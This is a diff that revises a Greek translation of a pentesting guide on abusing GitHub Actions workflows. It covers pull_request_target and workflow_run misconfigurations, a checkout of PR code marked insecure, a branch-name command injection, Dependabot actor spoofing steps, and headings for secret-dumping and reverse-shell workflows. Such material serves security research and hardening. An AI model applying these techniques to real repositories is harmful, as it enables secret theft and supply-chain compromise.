diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 776433381..18dbf0477 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,7 +4,7 @@ ## Εργαλεία -Τα ακόλουθα εργαλεία είναι χρήσιμα για να βρείτε Github Action workflows και ακόμη και ευάλωτα: +Τα παρακάτω εργαλεία είναι χρήσιμα για να βρείτε Github Action workflows και ακόμη να εντοπίσετε ευάλωτα: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -12,47 +12,47 @@ - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) - [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ελέγξτε επίσης το checklist του σε [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Βασικές Πληροφορίες +## Βασικές πληροφορίες Σε αυτή τη σελίδα θα βρείτε: -- Μια **περίληψη όλων των επιπτώσεων** όταν ένας επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση σε ένα Github Action -- Διάφοροι τρόποι για να **αποκτήσετε πρόσβαση σε ένα action**: -- Έχοντας **δικαιώματα** για να δημιουργήσετε το action -- Κατάχρηση **pull request** related triggers +- Μια **περίληψη όλων των επιπτώσεων** όταν ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση σε ένα Github Action +- Διαφορετικοί τρόποι για να **αποκτήσετε πρόσβαση σε ένα action**: +- Έχοντας **permissions** για να δημιουργήσετε το action +- Κατάχρηση ενεργοποιήσεων σχετικών με **pull request** - Κατάχρηση **άλλων τεχνικών εξωτερικής πρόσβασης** -- **Pivoting** από ένα ήδη συμβιβασμένο repo -- Τέλος, μια ενότητα για τις τεχνικές **post-exploitation** για κατάχρηση ενός action από μέσα (για να προκαλέσει τις προαναφερθείσες επιπτώσεις) +- **Pivoting** από ένα ήδη παραβιασμένο repo +- Τέλος, μια ενότητα για **post-exploitation τεχνικές για κατάχρηση ενός action από μέσα** (προκαλώντας τις αναφερόμενες επιπτώσεις) ## Περίληψη Επιπτώσεων -Για μια εισαγωγή σχετικά με [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Για εισαγωγή στα [**Github Actions δείτε τις βασικές πληροφορίες**](../basic-github-information.md#github-actions). -Αν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** μέσα σε ένα **repository**, μπορεί να είστε σε θέση να: +Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** εντός ενός **repository**, ενδέχεται να μπορείτε να: -- **Κλέψετε μυστικά** που είναι προσαρτημένα στο pipeline και **καταχραστείτε τα προνόμια του pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως AWS και GCP. -- **Συμβιβάσετε deployments** και άλλα **artifacts**. -- Εάν το pipeline αναπτύσσει ή αποθηκεύει assets, θα μπορούσατε να αλλοιώσετε το τελικό προϊόν, επιτρέποντας επίθεση supply chain. +- **Κλέψετε secrets** που είναι προσαρτημένα στο pipeline και **καταχραστείτε τα προνόμια του pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως AWS και GCP. +- **Compromise deployments** και άλλα **artifacts**. +- Εάν το pipeline αναπτύσσει ή αποθηκεύει assets, θα μπορούσατε να αλλοιώσετε το τελικό προϊόν, επιτρέποντας μια supply chain attack. - **Εκτελέσετε κώδικα σε custom workers** για να καταχραστείτε υπολογιστική ισχύ και να pivot σε άλλα συστήματα. -- **Επαναγράψετε τον κώδικα του repository**, ανάλογα με τα permissions που συνδέονται με το `GITHUB_TOKEN`. +- **Αντικαταστήσετε τον κώδικα του repository**, ανάλογα με τα permissions που σχετίζονται με το `GITHUB_TOKEN`. ## GITHUB_TOKEN -Αυτό το "**secret**" (προερχόμενο από `${{ secrets.GITHUB_TOKEN }}` και `${{ github.token }}`) δίνεται όταν ο admin ενεργοποιήσει αυτή την επιλογή: +Αυτό το "**secret**" (προερχόμενο από `${{ secrets.GITHUB_TOKEN }}` και `${{ github.token }}`) δίνεται όταν ο admin ενεργοποιεί αυτή την επιλογή:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Αυτό το token είναι το ίδιο που θα χρησιμοποιήσει μια **Github Application**, επομένως μπορεί να έχει πρόσβαση στα ίδια endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Το Github θα πρέπει να κυκλοφορήσει ένα [**flow**](https://github.com/github/roadmap/issues/74) που **επιτρέπει cross-repository** πρόσβαση εντός του GitHub, έτσι ώστε ένα repo να μπορεί να έχει πρόσβαση σε άλλα εσωτερικά repos χρησιμοποιώντας το `GITHUB_TOKEN`. -Μπορείτε να δείτε τα πιθανά **permissions** αυτού του token στο: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Μπορείτε να δείτε τα πιθανά **permissions** αυτού του token εδώ: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Σημειώστε ότι το token **λήγει μετά την ολοκλήρωση της job**.\ -Αυτά τα tokens μοιάζουν κάπως έτσι: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Σημειώστε ότι το token **λήγει μετά την ολοκλήρωση της εργασίας**.\ +Αυτά τα tokens μοιάζουν ως εξής: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Κάποια ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token: +Μερικά ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **github user tokens inside Github Actions envs or in the secrets**. Αυτά τα tokens ενδέχεται να σας δώσουν περισσότερα προνόμια στο repository και στην organization. +> Σημειώστε ότι σε αρκετές περιπτώσεις θα μπορείτε να βρείτε **github user tokens inside Github Actions envs or in the secrets**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια στο αποθετήριο και στον οργανισμό.
-Λίστα secrets στην έξοδο του Github Action +Λίστα με secrets στην έξοδο του Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Λήψη reverse shell με secrets +Απόκτηση reverse shell με secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Είναι δυνατόν να ελέγξετε τα δικαιώματα που έχουν δοθεί σε ένα Github Token σε αποθετήρια άλλων χρηστών **ελέγχοντας τα logs** των actions: +Είναι δυνατόν να ελέγξετε τα δικαιώματα που δίνονται σε ένα Github Token σε αποθετήρια άλλων χρηστών **ελέγχοντας τα logs** των actions:
-## Επιτρεπόμενη Εκτέλεση +## Επιτρεπτή Εκτέλεση > [!NOTE] -> Αυτό θα ήταν ο ευκολότερος τρόπος για να compromise τα Github actions, καθώς αυτή η περίπτωση προϋποθέτει ότι έχετε πρόσβαση να **create a new repo in the organization**, ή έχετε **write privileges over a repository**. +> Αυτός θα ήταν ο πιο εύκολος τρόπος για να παραβιάσετε τα Github actions, καθώς αυτή η περίπτωση υποθέτει ότι έχετε πρόσβαση να **create a new repo in the organization**, ή έχετε **write privileges over a repository**. > -> Εάν βρίσκεστε σε αυτό το σενάριο μπορείτε απλώς να ελέγξετε τα [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Εκτέλεση από Δημιουργία repo +### Εκτέλεση από Δημιουργία Repo -Σε περίπτωση που μέλη μιας οργάνωσης μπορούν να **create new repos** και μπορείτε να εκτελέσετε github actions, μπορείτε να **create a new repo and steal the secrets set at organization level**. +Αν τα μέλη μιας οργάνωσης μπορούν να **create new repos** και μπορείτε να εκτελείτε Github actions, μπορείτε να **create a new repo and steal the secrets set at organization level**. ### Εκτέλεση από Νέο Branch -Αν μπορείτε να **create a new branch in a repository that already contains a Github Action** configured, μπορείτε να το **modify**, να **upload** το περιεχόμενο, και στη συνέχεια να **execute that action from the new branch**. Με αυτόν τον τρόπο μπορείτε να **exfiltrate repository and organization level secrets** (αλλά πρέπει να ξέρετε πώς ονομάζονται). +Αν μπορείτε να **create a new branch in a repository that already contains a Github Action** ρυθμισμένη, μπορείτε να την **modify**, να **upload** το περιεχόμενο και στη συνέχεια να **execute that action from the new branch**. Με αυτόν τον τρόπο μπορείτε να **exfiltrate repository and organization level secrets** (αλλά πρέπει να ξέρετε πώς ονομάζονται). > [!WARNING] -> Οποιοσδήποτε περιορισμός που εφαρμόζεται μόνο μέσα στο workflow YAML (για παράδειγμα, `on: push: branches: [main]`, job conditionals, or manual gates) μπορεί να επεξεργαστεί από συνεργάτες. Χωρίς εξωτερική επιβολή (branch protections, protected environments, and protected tags), ένας συνεισφέρων μπορεί να επαναστοχεύσει ένα workflow ώστε να τρέξει στο branch του και να καταχραστεί mounted secrets/permissions. +> Οποιοσδήποτε περιορισμός που εφαρμόζεται μόνο μέσα στο workflow YAML (για παράδειγμα, `on: push: branches: [main]`, job conditionals, ή manual gates) μπορεί να επεξεργαστεί από collaborators. Χωρίς εξωτερική επιβολή (branch protections, protected environments, and protected tags), ένας contributor μπορεί να στρέψει ένα workflow να τρέξει στο branch του και να καταχραστεί mounted secrets/permissions. -Μπορείτε να κάνετε την τροποποιημένη action εκτελέσιμη **manually,** όταν ένα **PR is created** ή όταν **some code is pushed** (ανάλογα με το πόσο noisy θέλετε να είστε): +Μπορείτε να κάνετε την τροποποιημένη action εκτελέσιμη **χειροκίνητα,** όταν δημιουργείται ένα **PR** ή όταν **some code is pushed** (ανάλογα πόσο θορυβώδεις θέλετε να είστε): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Εκτέλεση από fork +## Εκτέλεση από Fork > [!NOTE] -> Υπάρχουν διάφορα triggers που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **εκτελέσει ένα Github Action από άλλο repository**. Εάν αυτές οι ενεργοποιήσιμες ενέργειες είναι κακώς διαμορφωμένες, ένας επιτιθέμενος θα μπορούσε να καταφέρει να τις παραβιάσει. +> Υπάρχουν διαφορετικοί triggers που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **execute a Github Action of another repository**. Εάν αυτές οι δράσεις που μπορούν να ενεργοποιηθούν είναι κακώς διαμορφωμένες, ένας επιτιθέμενος θα μπορούσε να τις παραβιάσει. ### `pull_request` -Ο workflow trigger **`pull_request`** θα εκτελέσει το workflow κάθε φορά που λαμβάνεται ένα pull request με ορισμένες εξαιρέσεις: από προεπιλογή, αν είναι η **πρώτη φορά** που συνεργάζεστε, κάποιος **maintainer** θα χρειαστεί να **εγκρίνει** το **run** του workflow: +Ο workflow trigger **`pull_request`** θα εκτελεί το workflow κάθε φορά που λαμβάνεται ένα pull request με μερικές εξαιρέσεις: από προεπιλογή, αν είναι η **πρώτη φορά** που συνεργάζεστε, κάποιος **maintainer** θα χρειαστεί να **εγκρίνει** την **εκτέλεση** του workflow:
> [!NOTE] -> Εφόσον ο **προεπιλεγμένος περιορισμός** αφορά τους **συνεισφέροντες για πρώτη φορά**, μπορείς να συνεισφέρεις **διόρθωση ενός έγκυρου bug/typo** και μετά να στείλεις **άλλα PRs για να καταχραστείς τα νέα σου `pull_request` προνόμια**. +> Εφόσον ο **προεπιλεγμένος περιορισμός** ισχύει για **συνεργάτες για πρώτη φορά**, θα μπορούσατε να συνεισφέρετε **διορθώνοντας ένα έγκυρο bug/typo** και στη συνέχεια να στείλετε **άλλα PRs για να καταχραστείτε τα νέα σας `pull_request` privileges**. > -> **Το δοκίμασα και δεν δουλεύει**: ~~Μία άλλη επιλογή θα ήταν να δημιουργήσεις έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο project και να διαγράψεις τον λογαριασμό του.~~ +> **Το δοκίμασα και δεν λειτουργεί**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσετε έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο έργο και να διαγράψετε τον λογαριασμό του.~~ -Επιπλέον, από προεπιλογή **αποτρέπει write permissions και access σε secrets** προς το target repository όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Επιπλέον, από προεπιλογή **αποτρέπει τα write permissions** και την **secrets access** στο target repository όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. +> With the exception of `GITHUB_TOKEN`, **τα secrets δεν μεταβιβάζονται στον runner** όταν ένα workflow ενεργοποιείται από ένα **forked** repository. Το **`GITHUB_TOKEN` έχει δικαιώματα μόνο για ανάγνωση** σε pull requests **από forked repositories**. -Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό του Github Action για να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετα actions. Ωστόσο, δεν θα μπορέσει να κλέψει secrets ή να υπεργράψει το repo λόγω των προαναφερθέντων περιορισμών. +Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό του Github Action ώστε να εκτελέσει αυθαίρετες ενέργειες και να προσθέσει αυθαίρετα actions. Ωστόσο, δεν θα μπορέσει να κλέψει secrets ή να αντικαταστήσει το repo λόγω των προαναφερθέντων περιορισμών. > [!CAUTION] -> **Ναι, αν ο επιτιθέμενος αλλάξει στο PR το github action που θα ενεργοποιηθεί, το Github Action του θα είναι αυτό που θα χρησιμοποιηθεί και όχι αυτό από το origin repo!** +> **Ναι, αν ο επιτιθέμενος αλλάξει στο PR το github action που θα ενεργοποιηθεί, το Github Action του θα είναι αυτό που θα χρησιμοποιηθεί και όχι αυτό από το αρχικό repo!** -Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμα και αν δεν υπάρχουν secrets ή write permissions στο `GITHUB_TOKEN`, ο επιτιθέμενος θα μπορούσε για παράδειγμα να **ανεβάσει malicious artifacts**. +Εφόσον ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμη και αν δεν υπάρχουν secrets ή write permissions για το `GITHUB_TOKEN`, ένας επιτιθέμενος θα μπορούσε για παράδειγμα να **upload malicious artifacts**. ### **`pull_request_target`** -Ο workflow trigger **`pull_request_target`** έχει **write permission** στο target repository και **access σε secrets** (και δεν ζητάει άδεια). +Ο workflow trigger **`pull_request_target`** έχει **write permission** στο target repository και **πρόσβαση σε secrets** (και δεν ζητάει έγκριση). -Σημειώστε ότι ο workflow trigger **`pull_request_target`** **τρέχει στο base context** και όχι σε αυτό που δίνει το PR (για να **μην εκτελέσει untrusted code**). Για περισσότερες πληροφορίες για το `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη επικίνδυνη χρήση δείτε αυτό το [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Σημειώστε ότι ο workflow trigger **`pull_request_target`** **τρέχει στο base context** και όχι σε αυτό που παρέχεται από το PR (ώστε να **μην εκτελεστεί μη αξιόπιστος κώδικας**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτήν τη συγκεκριμένη επικίνδυνη χρήση ελέγξτε αυτήν την [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Μπορεί να φαίνεται ότι επειδή το **εκτελούμενο workflow** είναι αυτό που ορίζεται στη **base** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιήσεις **`pull_request_target`**, αλλά υπάρχουν μερικές **περιπτώσεις όπου δεν είναι**. +Μπορεί να φαίνεται ότι επειδή το **εκτελούμενο workflow** είναι αυτό που ορίζεται στο **base** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιηθεί το **`pull_request_target`**, αλλά υπάρχουν **λίγες περιπτώσεις όπου αυτό δεν ισχύει**. -Και αυτή θα έχει **access σε secrets**. +Και αυτό (το trigger) θα έχει **πρόσβαση σε secrets**. ### `workflow_run` -Ο [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger επιτρέπει να τρέξει ένα workflow από ένα άλλο όταν είναι `completed`, `requested` ή `in_progress`. +Ο [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger επιτρέπει να τρέξει ένα workflow από ένα διαφορετικό όταν αυτό είναι `completed`, `requested` ή `in_progress`. -Σε αυτό το παράδειγμα, ένα workflow έχει διαμορφωθεί να τρέχει αφού το ξεχωριστό "Run Tests" workflow ολοκληρωθεί: +Σε αυτό το παράδειγμα, ένα workflow έχει ρυθμιστεί να τρέχει αφού ολοκληρωθεί το ξεχωριστό "Run Tests" workflow: ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Επιπλέον, σύμφωνα με την τεκμηρίωση: Η ροή εργασίας που ξεκινά από το γεγονός `workflow_run` μπορεί να **έχει πρόσβαση σε secrets και να γράφει tokens, ακόμα κι αν η προηγούμενη ροή εργασίας δεν είχε**. +Επιπλέον, σύμφωνα με την τεκμηρίωση: Το workflow που ξεκινάται από το `workflow_run` event μπορεί να **έχει πρόσβαση σε secrets και να γράφει tokens, ακόμα και αν το προηγούμενο workflow δεν είχε**. -Αυτός ο τύπος ροής εργασίας θα μπορούσε να δεχθεί επίθεση αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **ενεργοποιηθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αφορά τη ροή εργασίας ενεργοποιούμενη από **`workflow_run`** που κατεβάζει τον κώδικα του επιτιθέμενου: `${{ github.event.pull_request.head.sha }}`\ -Το δεύτερο αφορά στο **passing** ενός **artifact** από τον **untrusted** κώδικα στη ροή εργασίας **`workflow_run`** και στη χρήση του περιεχομένου αυτού του artifact με τρόπο που το καθιστά **vulnerable to RCE**. +Αυτός ο τύπος workflow μπορεί να δεχτεί επίθεση αν εξαρτάται από ένα **workflow** που μπορεί να **προκληθεί** από έναν εξωτερικό χρήστη μέσω των **`pull_request`** ή **`pull_request_target`**. Ένα ζευγάρι ευάλωτων παραδειγμάτων μπορούν να [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αφορά το workflow που ενεργοποιείται από το **`workflow_run`** και κατεβάζει τον κώδικα του επιτιθέμενου: `${{ github.event.pull_request.head.sha }}`\ +Το δεύτερο αφορά στο **passing** ενός **artifact** από τον **μη αξιόπιστο** κώδικα στο **`workflow_run`** workflow και στη χρήση του περιεχομένου αυτού του artifact με τρόπο που το καθιστά **ευάλωτο σε RCE**. ### `workflow_call` TODO -TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +TODO: Ελέγξτε αν όταν εκτελείται από ένα pull_request, ο χρησιμοποιούμενος/κατεβασμένος κώδικας είναι από το origin ή από το forked PR -## Κατάχρηση εκτέλεσης από Forks +## Κατάχρηση Εκτέλεσης από Forks -Αναφέραμε όλους τους τρόπους με τους οποίους ένας εξωτερικός attacker θα μπορούσε να κάνει μια GitHub workflow να εκτελεστεί, τώρα ας δούμε πώς αυτές οι εκτελέσεις, αν είναι κακώς διαμορφωμένες, μπορούν να καταχραστούν: +Έχουμε αναφέρει όλους τους τρόπους με τους οποίους ένας εξωτερικός επιτιθέμενος μπορεί να καταφέρει να εκτελέσει ένα github workflow. Τώρα ας δούμε πώς αυτές οι εκτελέσεις, αν είναι λανθασμένα διαμορφωμένες, μπορούν να καταχραστούν: -### Untrusted checkout execution +### Εκτέλεση μη αξιόπιστου checkout -Σε περίπτωση **`pull_request`**, η ροή εργασίας θα εκτελεστεί στο **context του PR** (οπότε θα εκτελέσει τον **malicious PRs code**), αλλά κάποιος πρέπει να **το εξουσιοδοτήσει πρώτα** και θα τρέξει με κάποιους [limitations](#pull_request). +Στην περίπτωση του **`pull_request`,** το workflow θα εκτελεστεί στο **context του PR** (οπότε θα εκτελέσει τον **κακόβουλο κώδικα του PR**), αλλά κάποιος πρέπει πρώτα να **εξουσιοδοτήσει** και θα τρέξει με ορισμένους [περιορισμούς](#pull_request). -Σε περίπτωση ροής εργασίας που χρησιμοποιεί **`pull_request_target` or `workflow_run`** και εξαρτάται από μια ροή εργασίας που μπορεί να ενεργοποιηθεί από **`pull_request_target` or `pull_request`**, ο κώδικας από το αρχικό repo θα εκτελεστεί, οπότε ο **attacker cannot control the executed code**. +Στην περίπτωση ενός workflow που χρησιμοποιεί **`pull_request_target` or `workflow_run`** και εξαρτάται από ένα workflow που μπορεί να προκληθεί από **`pull_request_target` or `pull_request`**, θα εκτελεστεί ο κώδικας του αρχικού repo, οπότε ο **επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα**. > [!CAUTION] -> Ωστόσο, αν το **action** έχει ένα **explicit PR checkou**t που θα **get the code from the PR** (και όχι από base), θα χρησιμοποιήσει τον κώδικα που ελέγχει ο attacker. Για παράδειγμα (έλεγχος γραμμής 12 όπου ο κώδικας του PR κατεβαίνει): +> Ωστόσο, αν η **action** έχει ένα **explicit PR checkou**t που θα **πάρει τον κώδικα από το PR** (και όχι από το base), θα χρησιμοποιήσει τον κώδικα που ελέγχει ο επιτιθέμενος. Για παράδειγμα (έλεγξε τη γραμμή 12 όπου γίνεται το κατέβασμα του κώδικα του PR):
# INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
 
-Ο πιθανώς **untrusted κώδικας εκτελείται κατά τη διάρκεια των `npm install` ή `npm build`** καθώς τα build scripts και τα αναφερόμενα **packages ελέγχονται από τον author του PR**. +The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. > [!WARNING] -> Ένας github dork για να ψάξετε για ευάλωτες actions είναι: `event.pull_request pull_request_target extension:yml` όμως υπάρχουν διαφορετικοί τρόποι να διαμορφώσετε τα jobs ώστε να εκτελούνται με ασφάλεια ακόμα κι αν το action είναι ανασφαλώς ρυθμισμένο (π.χ. χρησιμοποιώντας conditionals σχετικά με το ποιος είναι ο actor που δημιουργεί το PR). +> Ένα github dork για αναζήτηση ευάλωτων actions είναι: `event.pull_request pull_request_target extension:yml` ωστόσο, υπάρχουν διαφορετικοί τρόποι να διαμορφωθούν τα jobs ώστε να εκτελούνται με ασφάλεια ακόμη και αν η action είναι διαμορφωμένη ανασφαλώς (π.χ. χρησιμοποιώντας conditionals σχετικά με το ποιος είναι ο actor που δημιουργεί το PR). -### Ενέσεις Script στο Context +### Context Script Injections -Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές **ελέγχονται** από τον **user** που δημιουργεί το PR. Αν το github action χρησιμοποιεί αυτά τα **data για να εκτελέσει οτιδήποτε**, αυτό μπορεί να οδηγήσει σε **arbitrary code execution:** +Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **χρήστη** που δημιουργεί το PR. Αν το github action χρησιμοποιεί αυτά τα **δεδομένα για να εκτελέσει οτιδήποτε**, αυτό μπορεί να οδηγήσει σε **αυθαίρετη εκτέλεση κώδικα:** {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -Από την τεκμηρίωση: Μπορείτε να κάνετε μια **environment variable διαθέσιμη σε οποιαδήποτε επόμενα βήματα** σε ένα workflow job ορίζοντας ή ενημερώνοντας την μεταβλητή περιβάλλοντος και γράφοντάς την στο **`GITHUB_ENV`** environment file. +Από την τεκμηρίωση: Μπορείτε να κάνετε μια **μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επόμενα βήματα** σε ένα workflow job ορίζοντάς την ή ενημερώνοντάς την και γράφοντάς την στο αρχείο περιβάλλοντος **`GITHUB_ENV`**. -Εάν ένας attacker μπορούσε να **inject οποιαδήποτε τιμή** μέσα σε αυτή την **env** μεταβλητή, θα μπορούσε να εισάγει env μεταβλητές που θα μπορούσαν να εκτελέσουν κώδικα σε επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**. +Αν ένας επιτιθέμενος μπορούσε να **εισάγει οποιαδήποτε τιμή** μέσα σε αυτή τη **μεταβλητή env**, θα μπορούσε να εισάγει μεταβλητές περιβάλλοντος που εκτελούν κώδικα σε επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**. -Για παράδειγμα ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα uploaded artifact για να αποθηκεύσει το περιεχόμενό του μέσα στην **`GITHUB_ENV`** env μεταβλητή. Ένας attacker θα μπορούσε να ανεβάσει κάτι σαν το παρακάτω για να το παραβιάσει: +Για παράδειγμα ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε ένα workflow που εμπιστεύεται ένα uploaded artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή περιβάλλοντος **`GITHUB_ENV`**. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι σαν το παρακάτω για να το παραβιάσει:
### Dependabot and other trusted bots -Όπως υποδεικνύεται σε [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), αρκετοί οργανισμοί έχουν μια Github Action που merges οποιοδήποτε PRR από `dependabot[bot]` όπως στο: +Όπως αναφέρεται στο [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), αρκετές οργανώσεις έχουν ένα Github Action που συγχωνεύει οποιοδήποτε PRR από `dependabot[bot]` όπως στο: ```yaml on: pull_request_target jobs: @@ -319,12 +319,12 @@ steps: ``` Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -- Fork το repository του θύματος -- Πρόσθεσε το malicious payload στο αντίγραφό σου -- Ενεργοποίησε το Dependabot στο fork σου προσθέτοντας μια outdated dependency. Το Dependabot θα δημιουργήσει ένα branch που θα διορθώνει την εξάρτηση και θα περιέχει malicious code. -- Άνοιξε ένα Pull Request προς το repository του θύματος από αυτό το branch (το PR θα δημιουργηθεί από τον χρήστη οπότε ακόμα δεν θα γίνει τίποτα) -- Στη συνέχεια, ο attacker επιστρέφει στο αρχικό PR που άνοιξε το Dependabot στο fork του και τρέχει `@dependabot recreate` -- Έπειτα, το Dependabot εκτελεί κάποιες ενέργειες σε εκείνο το branch, που τροποποιούν το PR στο repository του θύματος, κάνοντας έτσι τον `dependabot[bot]` actor του τελευταίου γεγονότος που ενεργοποίησε το workflow (και επομένως, το workflow τρέχει). +- Fork the victim repository +- Add the malicious payload to your copy +- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. +- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) +- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` +- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml @@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Well, the original blogpost proposes two options to abuse this behavior being the second one: +Λοιπόν, το αρχικό blogpost προτείνει δύο επιλογές για να εκμεταλλευτείς αυτή τη συμπεριφορά, με τη δεύτερη να είναι: -- Fork the victim repository and enable Dependabot with some outdated dependency. -- Create a new branch with the malicious shell injeciton code. -- Change the default branch of the repo to that one -- Create a PR from this branch to the victim repository. -- Run `@dependabot merge` in the PR Dependabot opened in his fork. 